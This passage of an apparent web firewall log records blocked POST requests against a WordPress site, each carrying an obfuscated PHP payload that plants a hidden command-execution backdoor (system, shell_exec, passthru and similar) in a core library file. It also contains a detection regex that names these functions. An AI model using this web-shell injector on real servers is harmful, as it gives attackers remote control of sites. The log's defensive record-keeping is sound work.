2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:7268\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nYu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:56","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-length:7291\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:46:59","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%25